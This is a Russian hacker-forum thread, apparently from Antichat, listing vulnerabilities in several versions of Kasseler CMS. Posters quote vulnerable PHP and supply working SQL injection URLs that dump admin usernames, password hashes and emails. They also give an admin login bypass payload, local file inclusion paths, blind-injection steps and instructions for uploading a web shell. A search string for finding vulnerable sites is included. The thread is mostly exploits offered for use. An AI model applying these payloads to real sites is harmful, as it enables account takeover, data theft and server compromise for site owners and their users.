Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Kasseler CMS 1.1.0, 1.2.0 Lite SQL Injection |

13.09.2008, 17:44
|
|
Banned
Регистрация: 10.11.2006
Сообщений: 829
Провел на форуме: 2634544
Репутация:
1559
|
|
Kasseler CMS 1.1.0, 1.2.0 Lite SQL Injection
Офф.сайт: www.kasseler-cms.net
Префикс таблиц бд: kasseler_
Default hash: md5($pass)
Админка: http://localhost/admin.php
От автора:
Краткий перечень возможностей:
• Мощная система безопасности.
какая тут к чёрту безопасность
[SQL inj в модуле новостей News]
Сценарий /modules/News/index.php
уязвимый код:
PHP код:
}
$num = isset($_GET['num']) ? intval($_GET['num']) : "1";
$offset = ($num-1) * $config['view_limit'];
$sort = (@$_GET['do']!="Popular") ? "n.date" : "n.view";
$where = (@$_GET['do']=="Category") ? "AND n.cid=".@$_GET['cid']." OR c.subid=".$_GET['cid']."" : "";
$sorttopage = (@$_GET['do']=="Category" || @$_GET['do']=="Popular") ? "&do=".$_GET['do']."" : "";
$sorttopage = (@$_GET['do']=="Category") ? $sorttopage."&cid=".$_GET['cid'] : $sorttopage;
$result = $db->sql_query("SELECT n.comment, n.view, n.nid, n.title, n.beginning, n.content, n.author, n.date, n.cid, n.status, n.rating, n.voted, c.cid, c.title, c.module, c.description, c.image, c.subid FROM ".$prefix."_news AS n LEFT JOIN ".$prefix."_categories AS c ON (n.cid=c.cid) WHERE n.status='1' $where ORDER BY $sort ".$config['msort']." LIMIT $offset, ".$config['view_limit']."");
if ($db->sql_numrows($result)==0){
inform("<center>"._NONEWS."</center>");
}
....
$result = $db->sql_query("SELECT n.view, n.nid, n.title, n.beginning, n.content, n.author, n.date, n.cid, n.status, n.rating, n.voted, c.cid, c.title, c.module, c.description, c.image, c.subid, u.user_name FROM ".$prefix."_news AS n LEFT JOIN ".$prefix."_categories AS c ON (n.cid=c.cid) LEFT JOIN ".$prefix."_users AS u ON (u.user_name=n.author) WHERE n.nid='".$_GET['nid']."' && n.status='1' ORDER BY n.date ".$config['msort']."");
....
$db->sql_query("DELETE FROM ".$prefix."_news WHERE nid='".$_GET['nid']."'");
Недостаточная обработка данных в параметре nid. Таким образом мы можем произвести запрос к бд(SQL-Inj) что бы получить нужную нам информацию.
Условие: magic_quotes_gpc = Off
Эксплойт:
Код:
http://localhost/[installdir]/index.php?module=News&do=View&nid=1'+and+1=2+union+select+1,2,concat_ws(0x3a,user_name,user_password,user_email),4,user(),version(),7,8,9,10,11,12,database(),14,15,16,17,18+from+kasseler_users+where+uid=1/*
[SQL inj в модуле опросов Voting]
Сценарий /modules/Voting/index.php
уязвимый код:
PHP код:
<div><br />[ <a href=\"index.php?module=$module_name&do=Result&vid=".$_GET['vid']."\">"._VOTERESULT."</a> | <a
....
$result = $db->sql_query("SELECT vid, title, vote_case, vote_ip, vote_users, pubdate, vote_res FROM ".$prefix."_voting WHERE vid='".$_GET['vid']."'");
баг оналогичен предыдущему.
Условие: magic_quotes_gpc = Off
Эксплойт:
Код:
http://localhost/[installdir]/index.php?module=Voting&do=Result&vid=1'+union+select+1,concat_ws(0x3a,user_name,user_password,user_email),3,4,user(),6,version(),8,9,10,11,12,13,14,15+from+kasseler_users+where+uid=1/*
[SQL inj в модуле форума на сайте Forum]
Сценарий /modules/Forum/index.php
уязвимый код:
PHP код:
show_forums("<a class=\"forumlink\" href=\"index.php?module=$module_name&do=ShowForum&fid=$fforum_id\">"
....
liste = list_page_forum($count_topics, $numpages, $forum['topic_views_num'], "index.php?module=$module_name&do=ShowForum&fid=".$_GET['fid']."&page");
Условие: magic_quotes_gpc = Off
Эксплойт:
Код:
http://localhost/[installdir]/index.php?module=Forum&do=ShowForum&fid=1'+union+select+1,2,3,concat_ws(0x3a,user_name,user_password,user_email),5,user(),database(),8,9,10,11,version(),13,14,15+from+kasseler_users+where+uid=1/*
Код:
http://localhost/[installdir]/index.php?module=Forum&do=ShowTopic&tid=706'+union+select+1,2,3,4,concat_ws(0x3a,user_name,user_password,user_email),6,7,user(),9,10,11,version(),13,14,15,16,17,18+from+kasseler_users+where+uid=1/*
[SQL inj в модуле профиля пользователя Account]
Сценарий /modules/Account/index.php
уязвимый код:
PHP код:
$result=$db->sql_query("SELECT u.rating, u.voted, u.user_last_visit, u.uid, u.user_name, u.user_email, u.user_website, u.user_avatar, u.user_regdate, u.user_icq, u.user_aim, u.user_yim, u.user_msnm, u.user_last_ip, u.user_birthday, u.user_gender, u.locality, u.signature, u.interests, u.occupation, u.viewemail, u.viewip, u.user_group, g.gid, g.title, g.color, g.img FROM ".$prefix."_users AS u LEFT JOIN ".$prefix."_groups AS g ON(g.gid=u.user_group) WHERE user_name='".$_GET['uname']."' AND u.user_name<>'Guest'");
Условие: magic_quotes_gpc = Off
Эксплойт:
Код:
http://localhost/[installdir]/index.php?module=Account&do=UserInfo&uname=dok'+union+select+1,2,3,4,concat_ws(0x3a,user_name,user_password,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+kasseler_users+where+uid=1/*
Сценарий /index.php
Условие: magic_quotes_gpc = Off
уязвимый код:
PHP код:
if (@$module_title=="" || !isset($module_title))
list($module_title, $blocks_view) = $db->sql_fetchrow($db->sql_query("SELECT custom_title, blocks FROM ".$prefix."_modules WHERE title='$module_name'"));
Код:
http://localhost/[installdir]/index.php?module=1'+and+1=2+union+select+1,concat_ws(0x3a,user_name,user_password,user_email),3,4,5+from+kasseler_users+where+uid=1/*
Заливка шелла:
Заходим в админку ( http://localhost/admin.php)-> Файловый менеджер -> Каталог: uploads/avatars/ -> загрузка файлов shell.php.
Шелл будет тут:
http://localhost/uploads/avatars/shell.php
Поиск:
Web site engine code is Copyright ©2007-2008 by Kasseler CMS. All rights reserved.
http://milw0rm.com/exploits/6460 (c) ~!Dok_tOR!~
Последний раз редактировалось ~!DoK_tOR!~; 15.09.2008 в 08:07..
|
|
|

28.02.2010, 01:30
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме: 5290740
Репутация:
912
|
|
name: kasseler cms 1.3.x lite
download: http://www.kasseler-cms.net/files/more/kasseler_cms_1.3.x_lite.html
1) LFI (требования: mq=off)
file: admin.php
PHP код:
if (isset($_GET['adm'])){
ob_start();
if (file_exists("".$admindirect."/modules/".$_GET['adm'].".php")){
include("".$admindirect."/modules/".$_GET['adm'].".php");
$amodule = ob_get_contents(); ob_end_clean();
} else
if (file_exists("modules/".$_GET['adm']."/Admin/index.php")){
if (file_exists("modules/".$_GET['adm']."/language/language.".$language.".php"))include("modules/".$_GET['adm']."/language/language.".$language.".php");
include("modules/".$_GET['adm']."/Admin/index.php");
$amodule = ob_get_contents(); ob_end_clean();
} else {
open_table();
echo "<center>"._ERRORLOADMODULE."</center>";
close_table();
$amodule = ob_get_contents(); ob_end_clean();
}
$template->set_tpl('$edit_content', "<div id=\"modules_conteiner\">".$amodule."</div>");
}
result:
Код:
/admin.php?do=LogIn&adm=../[file]%00
2) blind sql injection (требования: mq=off,любой акк)
file: /modules/account/pm.php
PHP код:
//Проверяем выделенные объекты
if(isset($_POST['selected']) AND is_array($_POST['selected']))
//Перебираем массив выделенных сообщений
foreach($_POST['selected'] as $value){
//Выполняем запрос для получения данных о сообщении
$result = $main->db->sql_query("SELECT p.mid, p.tid, p.subj, p.user, p.user_from, p.date, p.pm_read, p.status, p.type, t.tid, t.text, u.uid, u.user_id, u.user_name, fr.uid AS from_uid, fr.user_id AS from_user_id, fr.user_name FROM ".PM." AS p LEFT JOIN ".PM_TEXT." AS t ON(p.tid=t.tid) LEFT JOIN ".USERS." AS u ON(u.user_name=p.user) LEFT JOIN ".USERS." AS fr ON(p.user_from=fr.user_name) WHERE p.mid='{$value}' OR p.mid='{$value}+1' OR p.mid='{$value}-1' AND (p.user='{$main->user['user_name']}' OR p.user_from='{$main->user['user_name']}')");
result:
Регаем акк. Отправляем сами себе ПМ. Заходим в /index.php?module=Forum&do=Outbox
. (для дальнейшей работы потребуется temper date) Выделяем свое сообщение,включаем перехват и жмякаем Отправить. Далее изменяем значение переменной selected на свой sql запрос. Если запрос выполнится,то сообщение перенесётся в Сохраненные.
Геморно,конечно,но работает..
//много файлов,не все еще посмотрел..
//скули с поста доктора прикрыли
Последний раз редактировалось .:[melkiy]:.; 28.02.2010 в 02:18..
|
|
|
SQL Inject Kasseler 2.0.5 |

01.04.2010, 17:23
|
|
Новичок
Регистрация: 11.02.2009
Сообщений: 20
Провел на форуме: 72081
Репутация:
13
|
|
SQL Inject Kasseler 2.0.5
Продукт: Kasseler CMS
Версия: 2.0.5 lite
SQL-Injection
Условия: magic_quotes = Off
Модуль Авторизации \admin.php
Недостаточна фильтрация $_POST['login'], таким образом можно подменить результаты запроса и получить админские куки
В поле логин "login' union select 'login','d56b699830e77ba53855679cb1d252da',2 /*"
В поле пароль "login"
Уязвимый участок кода в \administrator\login.php
PHP код:
if(!isset($_SESSION['admin'])){
if(isset($_POST['login'])){
//Поиск пользователя
$result = $main->db->sql_query("SELECT user_name, user_password, user_level FROM ".USERS." WHERE user_name='{$_POST['login']}'");
if($main->db->sql_numrows($result)>0){
$info = $main->db->sql_fetchrow($result);
//Проверка пароля и права администрирования
if($info['user_password']==pass_crypt($_POST['password']) AND $info['user_level']>0) {
//Создание сессии администратора
$_SESSION['admin'] = $main->user['user_name'];
setcookies($_POST['login'].",".$info['user_password'], $main->config['admin_cookies']);
if(!is_user()){
//Если не создана сессия пользователя то создаем ее
setcookies($_POST['login'].",".$info['user_password'], $main->config['user_cookies']);
//Обновляем информацию о пользователе
$main->db->sql_query("UPDATE ".USERS." SET user_last_os='".kr_filter($main->agent['os'], TAGS)."', user_last_browser='".kr_filter($main->agent['browser'], TAGS)."', user_last_ip='{$main->ip}', user_last_visit=NOW() WHERE user_name='{$_POST['login']}'");
//Регистрируем сессию
$session->register($_POST['login']);
}
redirect($adminfile);
}
}
}
зы возможно присутствует и в ранних версиях
|
|
|

04.04.2010, 02:53
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Продолжение...
Продукт: Kasseler CMS
Версия: 2.0.5 lite
Недостаток в том что файл admin.php надо искать!
В рекомендациях по установке указано что
3. В целях безопасности измените стандартное название у файла admin.php и пропишите название нового файла admin.php в файле includes/config/config.php
такая строчка 'adminfile' => 'admin.php'
Также есть SQL inj в модуле:
Account – Модуль профиль пользователя в части представления который всегда доступен!
Условие: mg=off
линк:
Код:
http://site/index.php?module=account&do=login
includes/function/kernel.php
Алгоритм хеша - md5 и никакой соли!
PHP код:
...
function pass_crypt($string){
return md5($string);
}...
Result:
Duplicate column name 'admin:21232f297a57a5a743894a0e4a801fc3'
поле логин:
' or (1,2)=(select * from(select name_const((select concat_ws(':',user_name,user_password) from kasseler_users limit 1,1),1),name_const((select concat_ws(':',user_name,user_password) from kasseler_users limit 1,1),1))x)/*
пасс:
любой
По умолчанию 2 запись в таблице это запись админа,1- гостя, далее в зависимости какими правами наделен пользователь!
Посмотреть версию (для текущей!):
http://site/index.php?system=version
LFI
includes/function/init.php
PHP код:
...//Фильтрация GET массива
if(!$main->mod_rewrite AND !isset($_GET['mod_rewrite'])){
foreach($_GET as $name=>$value){
if(!is_array($value)){
if(preg_match('/(\.\.\/|[\'"]|<|>|\(+)/s', $value)) kr_http_ereor_logs("403");
$_GET[$name] = strip_tags($value);
}
}...
index.php
PHP код:
...} elseif(kr_file_exists("blocks/{$_GET['blockfile']}")) require_once "blocks/{$_GET['blockfile']}";...
includes/function/xining.php
PHP код:
...
function kr_file_exists($file){
return file_exists($file);
}...
Result:
http://kasseler/index.php?blockfile= [LFI]
Example:
http://kasseler/index.php?blockfile=..\robots.txt
Условие:
OS WIN , "\"
Пути, они есть и у других файлах:
передаем куками:
lang=
them=
на вторую переменную код не привожу!
include/function/init.php
PHP код:
...//Определение языкового файла
get_language();
//Подключение графических элементов систем
(isset($main->tpl) AND kr_file_exists("templates/{$main->tpl}/{$language}/images.php")) ? require_once "templates/{$main->tpl}/{$language}/images.php" : require_once "includes/language/{$language}/images.php";...
include/function/gets.php
PHP код:
...function get_language(){
global $config, $userinfo, $language, $module_name, $lang;
$lang = array();
if(isset($_COOKIE['lang']) AND kr_file_exists("includes/language/{$_COOKIE['lang']}/")) $language = $_COOKIE['lang'];
else $language = empty($userinfo['user_language']) ? $config['language'] : $userinfo['user_language'];
foreach(load_includes('lang*?\.php', "includes/language/{$language}/") as $filename) {
$tpl_lang = $lang;
require_once $filename;
$lang += $tpl_lang;
}...
Вот такая(если загнать ../../../):
Ошибка - require_once(includes/language/../../..//images.php): failed to open stream: No such file or directory in Z:\home\kasseler\www\includes\function\init.php on line 146
У кого получиться експлутировать LFI - пишите, тестил но не получилось!
Последний раз редактировалось Strilo4ka; 04.04.2010 в 08:28..
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|